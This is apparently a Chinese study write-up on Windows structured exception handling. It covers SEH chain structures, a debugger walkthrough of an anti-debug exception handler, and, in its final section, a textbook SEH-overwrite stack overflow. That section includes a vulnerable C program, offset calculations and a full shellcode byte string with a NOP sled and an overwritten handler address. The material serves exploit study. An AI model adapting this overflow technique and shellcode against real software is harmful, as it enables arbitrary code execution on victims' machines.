SEH

windows异常处理程序,存储在栈中

SEH链

SEH链实际上就是一个链表,其基本单位是一个个的节点

每个节点都是由一个后向指针(指针域)和一个函数指针(值域)组成

typedef struct _EXCEPTION_REGISTRATION_RECORD {
    struct _EXCEPTION_REGISTRATION_RECORD *Next;//指向下一个节点
    PEXCEPTION_ROUTINE Handler;//指向函数
} EXCEPTION_REGISTRATION_RECORD;

Next不必多说,Handler是一个有固定格式的函数,其函数接口长这样

EXCEPTION_DISPOSITION myHandler(//返回值为枚举类型,表明本函数处理结束后程序的走向
    EXCEPTION_RECORD *pRecord,
    EXCEPTION_REGISTRATION_RECORD *pFrame,
    PCONTEXT Context,//线程上下文,包括各种寄存器值
    PVOID pValue,
);

这四个参数会由OS传给异常处理函数

typedef struct _EXCEPTION_RECORD {
    DWORD    ExceptionCode;//异常编号
    DWORD ExceptionFlags;//异常标志
    struct _EXCEPTION_RECORD *ExceptionRecord;//
    PVOID ExceptionAddress;//异常发生地址
    DWORD NumberParameters;
    ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

返回值是一个枚举类型,在excpt.h中可以找到其定义

// Exception disposition return values
typedef enum _EXCEPTION_DISPOSITION
{
    ExceptionContinueExecution,//继续执行异常代码
    ExceptionContinueSearch,//执行seh链上下一个异常处理
    ExceptionNestedException,//OS内部使用
    ExceptionCollidedUnwind//OS内部使用
} EXCEPTION_DISPOSITION;

SEH链画在图上相当于

最后一个节点的next指向FFFFFFFF,即-1,表明SEH链结束

访问进程SEH链

TEB+0x00存放的是NtTib结构体基地址

这个NtTib长啥样呢?

typedef struct _NT_TIB {
    struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;//seh链表头
    PVOID StackBase;
    PVOID StackLimit;
    PVOID SubSystemTib;
#if defined(_MSC_EXTENSIONS)
    union {
        PVOID FiberData;
        DWORD Version;
    };
#else
    PVOID FiberData;
#endif
    PVOID ArbitraryUserPointer;
    struct _NT_TIB *Self;
} NT_TIB;
typedef NT_TIB *PNT_TIB;

NtTib在TEB的0偏移位置,ExceptionList在NtTib的偏移位置,FS段选择子指向TEB描述符,因此

FS:[0]=TEB=TEB.NtTib=TEB.NtTib.ExceptionList

如此就可以访问SEH链表了,这里ExceptionList相当于一个附加头节点

安装SEH节点

c语言中使用__try,__except,__finally关键字

汇编语言中只需要将SEH节点头插进入SEH节点就可以了

1
2
3

PUSH &myHandler	;seh节点的函数地址压栈
PUSH DWORD PTR FS:[0] ;seh节点的后向指针压栈,头插法采用原来的头
MOV DWORD PTR FS:[0],ESP	;当前节点正好位于栈顶,将其地址放到ExceptionList上覆盖原来的头节点

当前节点成为SEH链的第一个节点

调试观察SEH工作流程

main之前建立的seh链

用ida打开seh.exe观察

使用od动态调试seh.exe,让程序先运行到main函数0x401000处

od已经识别出main一开始干了啥了

在头插之前,先看一下原来的第一个seh节点

此时fs:[00000000]=[00386000]=0019FF64,去栈中0x19FF64看看

下一个seh节点在0x19FFCC位置,本seh节点的异常处理函数在0x402730,用ida观察这个位置

这个函数很大,看地址是在用户空间的,不是DLL中的也不是内核中的,那么它是啥时候注册的呢?

start()
	___tmainCRTStartup()
		__cinit()
			__IsNonwritableInCurrentImage()
    	main()

在main之前___tmainCRTStartup会首先调用__cinit进行注册,然后才会调用main

也就是说,这是运行库注册的

注册新的seh节点

注意此时只是注册,其中的异常处理函数也是一个回调函数,不会立刻执行,需要确实发现异常的时候才会执行

main函数首先插入了一个seh节点,其异常处理函数在0x40105A处,这个函数干了啥呢?

.text:0040105A loc_40105A:                             ; DATA XREF: _main↑o
.text:0040105A                 mov     esi, [esp+0Ch];esi指向栈中0x19f470
.text:0040105E                 mov     eax, large fs:30h;PEB地址
.text:00401064                 cmp     byte ptr [eax+2], 1;检查是否BeingDebugged
.text:00401068                 jnz     short loc_401076;如果不是则跳转0x4001076,否则顺序执行
.text:0040106A                 mov     dword ptr [esi+0B8h], offset loc_401023;将0x401023写到esi+0xB8h的地方
.text:00401074                 jmp     short loc_401080;跳转函数尾声
.text:00401076 ; ---------------------------------------------------------------------------
.text:00401076
.text:00401076 loc_401076:                             ; CODE XREF: .text:00401068↑j
.text:00401076                 mov     dword ptr [esi+0B8h], offset loc_401039
.text:00401080
.text:00401080 loc_401080:                             ; CODE XREF: .text:00401074↑j
.text:00401080                 xor     eax, eax
.text:00401082                 retn;返回了

这个函数检查了当前是否处于调试状态,根据该状态将不同的函数地址,写到esi+0xB8h指向的地方

这是个什么地方呢?Context.Eip,干啥用的呢?留作后话

当我们的seh节点注册完毕之后

1 2	esp=0019FF28 fs:[00000000]=[00386000]=0019FF28

此时ExceptionList已经指向0x19FF28了,栈中观察这个位置

后向指针也已经指向了刚才的0x40105A节点.现在的SEH链长这样

ExceptionList@0x386000->
	myNode@0x19FF28->
	CRTNode@0x19FF64->
	ntdllNode1@0x19FFCC->
	ntdllNode2@0x19FFE4->
	-1

如果发生异常,首先会调用这个链最头上的myNode@0x19FF28中的异常处理函数

od已经自动识别出seh链长啥样了,od->查看->seh链

引发异常

在注册完我们的seh节点之后,有两句故意找茬的指令,按理说c语言是敲不出这种指令的,实际上是用内联汇编写的

1 2	.text:00401017 xor eax, eax .text:00401019 mov dword ptr [eax], 1

把1写到0x0位置,显然往未注册过的内存写东西会寄,触发EXCEPTION_ACCESS_VIOLATION(0xc0000005)异常

执行异常处理函数

触发异常之后,程序会跳转到第一个seh节点中注册的异常处理函数,期间经过了很多库函数调用,导致栈顶移动了很远的距离

从0x19FF28到0x19F320一共0xc08个字节

此时控制已经转移到myHandler@0x40105A,这就是main函数一开始注册的seh节点中的异常处理函数

此时栈帧的情况

myHandler@0x40105A的返回地址是NTDLL库函数

返回地址往上的4个双字就是myHandler的参数了

EXCEPTION_DISPOSITION myHandler(//返回值为枚举类型,表明本函数处理结束后程序的走向
    EXCEPTION_RECORD *pRecord,
    EXCEPTION_REGISTRATION_RECORD *pFrame,
    PCONTEXT Context,//线程上下文,包括各种寄存器值
    PVOID pValue,//系统内部使用,忽略
);

参数	参数地址	参数指向
pRecord	0x19F324	0x19F420
pFrame	0x19F328	0x19FF28
Context	0x19F32C	0x19F470
pValue	0x19F330	0x19F3AC

参数指向的地址都在栈中,看来抬栈0xc08个字节其中的作用就有准备参数

`Record@0x19F420`

Record@0x19F420长这样

typedef struct _EXCEPTION_RECORD {//0x50个字节
    DWORD    ExceptionCode;
    DWORD ExceptionFlags;
    struct _EXCEPTION_RECORD *ExceptionRecord;
    PVOID ExceptionAddress;
    DWORD NumberParameters;
    ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

偏移	成员	值	意义
0	ExceptionCode	0xC0000005	访问非法内存
0x4	ExceptionFlags	0
0x8	ExceptionRecord	0
0xC	ExceptionAddress	0x401019	`.text:00401019 mov dword ptr [eax], 1`
0x10	NumberParameters	2
0x14	ExceptionInformation[0]	1
0x15-0x69	ExceptionInformation[1-..]	0

`Frame@0x19FF28`

typedef struct _EXCEPTION_REGISTRATION_RECORD {//8字节
    struct _EXCEPTION_REGISTRATION_RECORD *Next;
    PEXCEPTION_ROUTINE Handler;
} EXCEPTION_REGISTRATION_RECORD;

`Context@0x19F470`

typedef struct DECLSPEC_NOINITALL _CONTEXT {//0x2cc个字节
    DWORD ContextFlags;

    DWORD   Dr0;
    DWORD   Dr1;
    DWORD   Dr2;
    DWORD   Dr3;
    DWORD   Dr6;
    DWORD   Dr7;

    FLOATING_SAVE_AREA FloatSave;
    
    DWORD   SegGs;
    DWORD   SegFs;
    DWORD   SegEs;
    DWORD   SegDs;

    DWORD   Edi;
    DWORD   Esi;
    DWORD   Ebx;
    DWORD   Edx;
    DWORD   Ecx;
    DWORD   Eax;

    DWORD   Ebp;
    DWORD   Eip;	//offset=0xB8
    DWORD   SegCs;              // MUST BE SANITIZED
    DWORD   EFlags;             // MUST BE SANITIZED
    DWORD   Esp;
    DWORD   SegSs;//C8

    BYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];

} CONTEXT;

typedef CONTEXT *PCONTEXT;

$ ==>    0019F470   |0001007F
$+4      0019F474   |004011C2                                  返回到 seh.004011C2 来自 seh.00401000
$+8      0019F478   |00000000
$+C      0019F47C   |00000000
$+10     0019F480   |00000000
$+14     0019F484   |FFFF0FF0
$+18     0019F488   |00000100
省略浮点数寄存器
$+88     0019F4F8   |00000000	;segGS
$+8C     0019F4FC   |0000002B	
$+90     0019F500   |00000053	;FS	
$+94     0019F504   |0000002B	;ES	
$+98     0019F508   |0000002B   ;DS

$+9C     0019F50C   |00401219   ;EDI                            seh.<ModuleEntryPoint>
$+A0     0019F510   |00401219   ;ESI                            seh.<ModuleEntryPoint>
$+A4     0019F514   |002CF000	;Ebx 
$+A8     0019F518   |005BF5B8	;Edx
$+AC     0019F51C   |00000001	;Ecx
$+B0     0019F520   |00000000	;Eax

$+B4     0019F524   |0019FF74	;EBP
$+B8     0019F528   |00401019   ;Eip                               seh.00401019
$+BC     0019F52C   |00000023	;CS
$+C0     0019F530   |00010246	;Eflags	
$+C4     0019F534   |0019FF28	;Esp
$+C8     0019F538   |0000002B	;segSS

...

其中eip指向0x401019,这还是发生内存异常的那条指令

1	.text:00401019 mov dword ptr [eax], 1

myHandler@0x40105A

分析完了函数以及返回地址,现在将焦点放到该异常处理函数身上

此时的堆栈

0019F320   77B08BF2  返回到 ntdll.77B08BF2	;返回地址
0019F324   0019F420	;第一个参数,pRecord
0019F328   0019FF28	;第二个参数,pFrame
0019F32C   0019F470	;第三个参数,pContext
0019F330   0019F3AC  UNICODE "48";第四个参数,pValue

把context放到esi上

第一条指令

esp+0xC此时指向第三个参数,即pContext

这里解引用了一下,就把Context的基地址放到esi上了

将PEB放到eax上

fs选择子指向TEB的描述符,TEB+0x30指向PEB

将TEB的基地址放到了eax上

检测是否beingdebugged

第三条指令,取了PEB+0x2的一个字节的值,和1进行比较,

PEB+0x2存放的就是BeingDebugged,如果正在被调试,一般该值会置1,

如果该值为1则和1的差就是0,ZF就置1

否则如果该值为0则和1的差不为0,ZF置0

jnz 0x00401076

实际调试的时候,刚才的计算结果不为0,即ZF=1,jnz跳转

说也奇怪,使用od调试运行的,为啥这里没有检测出调试器呢?

od调试运行时不会检测出调试器,但是x32dbg调试运行就会检测出调试器

修改context.Eip

本函数一开始就将context的基地址放到了esi上,现在将0x401039放到[esi+0xB8]这个地方,也就是context+0xB8=Eip

这意味着,本seh节点的异常处理函数,将context上下文中的eip,根据当前是否被调试,从事故现场,改到了其他没有事故的函数中.这也就是该seh节点的异常处理策略

当本次异常处理结束之后,控制将会交给0x401039

0x401039处的函数干了啥呢?

.text:00401039 loc_401039:                             ; DATA XREF: .text:loc_401076↓o
.text:00401039                 push    0               ; uType
.text:0040103B                 push    offset Caption  ; "ReverseCore"
.text:00401040                 push    offset aHello   ; "Hello :)"
.text:00401045                 push    0               ; hWnd
.text:00401047                 call    ds:MessageBoxA
.text:0040104D
.text:0040104D loc_40104D:                             ; CODE XREF: _main+37↑j
.text:0040104D                 pop     large dword ptr fs:0
.text:00401054                 add     esp, 4
.text:00401057                 retn
.text:00401057 _main           endp

首先弹窗

然后指令pop large dword ptr fs:0就把这个第一个seh节点给扬了,留作后话

在修改完context.Eip之后,函数尾声将eax置就返回了

删除seh节点

由于异常处理函数中将context.eip改成了0x401039,在该函数上下断点,然后Ctrl+F8自动步过,直到执行到断点位置

这里会首先弹窗

然后

这条指令干了啥呢?

fs:0先前分析过,指向的是seh链的附加头节点,现在将栈顶弹给seh链的附加头节点,栈顶是谁呢?

指向下一个SEH记录的指针,将这个指针的值,即下一个seh节点的地址,放到seh链的附加头节点ExceptionList上,恰好就把main一开始注册的seh节点扬了

为啥这么巧栈顶此时就是下一个seh节点的指针呢?

因为堆栈平衡.0x401039是在main函数中的,当控制转移到0x401039时相当于在main中执行,此时的栈顶就是main刚注册完seh节点的状态

返回到`___tmainCRTStartup`

在0x401039函数retn之前,栈顶上存放的是0x4011C2,将要作为返回地址了

这是要返回到哪里去呢?

.text:004011AB                 mov     dword_40AF88, eax
.text:004011B0                 push    eax             ; envp
.text:004011B1                 push    argv            ; argv
.text:004011B7                 push    argc            ; argc
.text:004011BD                 call    _main           ; 异常处理函数地址压栈
.text:004011C2                 add     esp, 0Ch
.text:004011C5                 mov     [ebp+var_20], eax
.text:004011C8                 cmp     [ebp+var_1C], 0

一眼顶针,原来是返回到___tmainCRTStartup了

栈溢出修改seh函数指针

SEH节点都是在栈帧中的,缓冲区溢出可以修改SEH节点中的异常处理函数地址,改成shellcode

书上给出的有漏洞的例子

#include <windows.h>
#include <stdio.h>
#include <string>
#include <stdlib.h>
char shellcode[] =
	"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

DWORD MyExceptionhandler(void)
{
	printf("got an exception, press Enter to kill process!\n");
	getchar();
	ExitProcess(1);
	return 0;
}
void test(char *input)
{
	char buf[200];
	int zero = 0;
	__asm int 3
	_try
	{
		strcpy(buf, input); // overrun the stack
		zero = 4 / zero;	// generate an exception
	}
	_except(MyExceptionhandler()) {}
}
main()
{
	test(shellcode);
}

在windows 2000上直接运行,由于test函数中有一个int 3中断,程序会在此报错然后启动调试

在int 3之前,0x40106B到0x40107C位置已经注册过seh节点

怎么注册的?

将原来的附加头节点中存储的第一个seh节点的地址作为当前节点的后继指针值,当前节点的异常处理函数注册为0x401518

奇怪的是,这个0x401518也是原来的第一个seh节点的注册异常处理函数

两个seh节点指向了同一异常处理函数

在栈帧视图上

新注册的seh节点的异常处理函数指针在EBP-0xC位置

下面要调用strcpy函数了

首先将ebp+8位置的源串指针压栈作为strcpy的第二个参数

然后将ebp-0xe0位置的目标缓冲区压栈作为第一个参数

然后调用strcpy@0x401330,调用完后栈帧的状态

缓冲区已经顶到了ebp-0x18,[ebp-0x18]正好是'\0'

再输入12个字节的填充就到了seh节点异常处理函数指针的家门口了,然后往这里写入四个字节的shellcode的地址

因此这个缓冲区可以写212字节的填充+3字节的shellcode地址,剩下一个字节正好是'\0'填到地址的高位

下面就是shellcode的构造了

char shellcode[]= 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" 
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" 
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" 
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" 
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" 
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" 
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" 
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" 
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" 
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" 
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" 
"\x90\x90\x90\x90\x94\xFE\x12";

前面的字节都填充成0x90即nop指令,一是为了充当pad,二是为了增加命中率,只要是控制调到这些nop指令中,就会顺序执行到shellcode

最后三个字节是0x12FE94,而shellcode的基地址就是0x12FE94,也就是说将shellcode的基地址溢出到了seh节点中的异常处理函数指针上了,

就算是写0x12FE95,0x12FE96等等也都可以,nop已经把靶阔的很大了

然后除以0异常,而刚才被溢出的seh节点又恰好在seh链上首当其冲

因此shellcode就被当作异常处理函数调用了

SEH